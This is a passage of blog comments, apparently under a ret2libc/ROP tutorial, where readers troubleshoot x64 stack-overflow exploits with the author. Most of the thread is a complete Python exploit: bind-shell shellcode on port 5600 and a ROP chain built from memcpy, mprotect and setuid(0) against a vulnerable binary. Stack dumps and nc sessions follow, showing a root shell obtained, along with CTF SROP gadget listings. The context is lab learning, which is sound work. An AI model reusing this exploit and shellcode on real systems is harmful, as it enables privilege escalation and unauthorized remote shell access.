1.) In this article the ASLR and PIE is turned off. That source address value address of our shellcode. The shellcode will be on stack when we send the payload. So you have to use gdb to find that address. The "i" variable is an offset for stack shift outside gdb due to environment variables (explained more in articles prior to this one). Currently u need to use gdb to find the source address of shellcode in stack. In next articles I have talked about a few techniques to bypass ASLR and leak address from memory. You may chain those to automate address calculation. There's one more article I haven't published yet which will talk about how to leak address from GOT(ask if u need more info on that). It may also help in leaking address.
Delete2.) Try to use tools like Ropper or ROPfinder. They are great in finding rop gadgets. In your objdump way make sure there is a ret after the instructions. Also make sure your libc base address is correct.
bro.. my code did not write anything onto stack after 200 bytes.....
ReplyDeletefrom struct import pack
p = lambda x : pack("Q",x)
i = 0x10
libc = 0x00007ffff7df5000
shellcode = "\x90"*26 #NOP sled
shellcode+= "\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff"
shellcode+= "\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66"
shellcode+= "\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10"
shellcode+= "\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58"
shellcode+= "\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03"
shellcode+= "\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31"
shellcode+= "\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"
shellcode+= "\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05"
pad = '\x90' * 8
dest = p(0x00007ffff7fb4000)
memcpy = p(libc + 0xa6f10)
source = p(0x7fffffffe130+i)
scode_size = p(len(shellcode))
mprotect = p(libc + 0xf81b0)
pop_rdx = p(libc + 0xec7dd)
pop_rsi = p(libc + 0x26cf7)
pop_rdi = p(libc + 0x267de)
prem = p(0x7)
pagesize = pack("Q",0x1000)
setuid = p(libc + 0xcbbe0)
null = pack("Q",0x0)
payload = shellcode + pad
payload += pop_rdi + dest
payload += pop_rdx + scode_size
payload += pop_rsi + source
payload += memcpy
payload += pop_rdi + dest
payload += pop_rdx + prem // after pop_rdx not going to write onto stack
payload += pop_rsi + pagesize
payload += mprotect
payload += pop_rdi + null + setuid
payload += dest
print payload
look at my stack -- - - -
gdb-peda$ x/80xw $rsp
0x7fffffffe130: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe140: 0x90909090 0x90909090 0x31489090 0xf63148c0
0x7fffffffe150: 0x58296a99 0x026ac6ff 0x48050f5f 0x66026a97
0x7fffffffe160: 0x022444c7 0x5e54e015 0x5a106a52 0x0f58316a
0x7fffffffe170: 0x6a5e5005 0x050f5832 0x0f582b6a 0x6a974805
0x7fffffffe180: 0xceff5e03 0x050f21b0 0x3148f875 0xbb4899c0
0x7fffffffe190: 0x6e69622f 0x68732f2f 0x6a5f5453 0x050f583b
0x7fffffffe1a0: 0x90909090 0x90909090 0xf7e1b7de 0x00007fff
0x7fffffffe1b0: 0xf7fb4000 0x00007fff 0xf7ee17dd 0x00007fff
0x7fffffffe1c0: 0x00000070 0x00000000 0xf7e1bcf7 0x00007fff
0x7fffffffe1d0: 0xffffe140 0x00007fff 0xf7e9bf10 0x00007fff
0x7fffffffe1e0: 0xf7e1b7de 0x00007fff 0xf7fb4000 0x00007fff
0x7fffffffe1f0: 0xf7ee17dd 0x00007fff 0x00000000 0x00000000
0x7fffffffe200: 0xd86af784 0x570a4ed8 0x608cf784 0x570a5ee4
0x7fffffffe210: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe220: 0x00000000 0x00000000 0xffffe298 0x00007fff
0x7fffffffe230: 0xf7ffe190 0x00007fff 0xf7fe3469 0x00007fff
0x7fffffffe240: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe250: 0x55555060 0x00005555 0xffffe280 0x00007fff
0x7fffffffe260: 0x00000000 0x00000000 0x5555508a 0x00005555
Well firstly use x/80gx to print 64 bit memory.
DeleteAlso check your target binary code how many bytes does it accept ?
Deletebuffer size is 112 bytes
DeleteHow many bytes does it (the function that reads the input) accept ? In my target code I have read function which reads 250 bytes from stdin. Is yours the same ? Also check the length of your payload.
Deletei got the problem is accept 200bytes only but if it accept only 200 bytes then how we do make exploit
ReplyDelete1.) What function are you using ? Is it just 'read' function with 200 bytes parameter ?
Delete2.) To exploit in that case just remove all unnecessary junk,nop sleds, etc. from payload. Use smaller shellcode, smaller rop chain. For example my one gadget rdx and rsi both while you are using two gadgets to do that. Many such optimizations can be done and unnecessary things can be removed.
Don't forget to answer my first question.
*my one gadget sets rdx and rsi both at once
Deleteyes read function with 200 bytes parameter. now i changed it with 300 bytes and i got 5600 on listening but it working like that -
Deletevik@Caty:~/Hacking_programmes/Ret2Libc$ nc 192.168.43.239 5600
id
id
id
id
id
id
(UNKNOWN) [192.168.43.239] 5600 (?) : Connection timed out
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
vik@Caty:~/Hacking_programmes/Ret2Libc$ id
uid=1000(vik) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
and thank you bro for your important time..
and sorry for my english i'm from india..
Deleteand i have a question for you if we need null byte in some register then we can do like that [sub rdx, rdx]
DeleteYour exploit didn't work. See that it says connection timed out. It means it couldn't connect. Check again if your shellcode was executed properly. See if it's listening on that port, also step through each instruction to see if rop chains executed properly.
DeleteYes you can do that to get null byte but better way is to do "xor rdx,rdx". It's opcode is smaller.
again thank you bro..you are superb and one more thing actually its a request please make a more depth post on format string... for %n format parameter
ReplyDeleteHere's the post explaining %n format specifier. https://www.ret2rop.com/2018/10/format-strings-got-overwrite-remote.html
Deletei got shell...i just log in as root and connect to 5600 and exit after that its working
ReplyDeletebinary output -
ReplyDeletevik@Caty:~/Hacking_programmes/Ret2Libc$ python 3rd.py | ./2nd
Address of buffer7fffffffe1b0
Enter input: Input was : ��������������������������H1�H1��j)X��j_H�jf�D$�T^RjZj1XP^j2Xj+XH�j^�ΰ!u�H1��H�/bin//shST_j;X�����������
output -
vik@Caty:~/Hacking_programmes/Ret2Libc$ nc 192.168.43.239 5600
id
uid=0(root) gid=1000(vik) groups=1000(vik),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),129(scanner)
whoami
root
ls
1ac.py
1st
1st.c
1st.py
2nd
2nd.c
3rd.py
Oh cool. That's correct. I thought you got confused cause of exploit failing.
Delete1st of all thanks for the huge sharing. My question here is if you found the needed rop gadgets compiling the vulnerable program with -static before running ROPgadget tool. In my case i cannot find useful gadgets if my vulnerable program is compiled dynamically.
ReplyDeleteThanks
No, I didn't use static to compile. Btw here ASLR is off so I have used gadgets mainly from libc directly as I already had address. If ASLR is on, you can read few of my next articles where I have discussed how to leak addresses and bypass ASLR, u can try those too.
DeleteOK, i can find the gadgets i need in libc too. Thanks again.
DeleteGreat. Welcome.
DeleteHi shivam i am stuck in a ctf challange.
ReplyDeleteCan you please help me.
It is about SROP.
There is no libc.
From ropgadget on binary i get following gadget
0x0000000000401012 : and al, 0x10 ; syscall0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall0x0000000000401044 : call qword ptr [rax + 0x41]0x000000000040104c : dec ecx ; ret0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall0x0000000000401054 : jmp 0x40104f0x000000000040104d : leave ; ret0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall0x0000000000401011 : push rsp ; and al, 0x10 ; syscall0x0000000000401016 : ret0x0000000000401049 : retf 0xffff0x0000000000401014 : syscall
Can you please help me
Also checksec shows
[*] '/home/azan121468/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Why for x64 we cant make simply stack executable? It seems simpler than coping shellcode to some memory and making this memory executable.
ReplyDeleteAs mentioned in article
Delete"Some systems use Write XOR Execute policy whereby every page in a process's or kernel's address space may be either writable or executable, but not both. Read more on it here. But we wanted stack to be execuable and it must be readable and writable also to execute instructions. So we can't keep the stack permissions rwx now."
https://en.wikipedia.org/wiki/W%5EX
Thank you for explanation and sorry for my question. I've overlooked this part of article.
Delete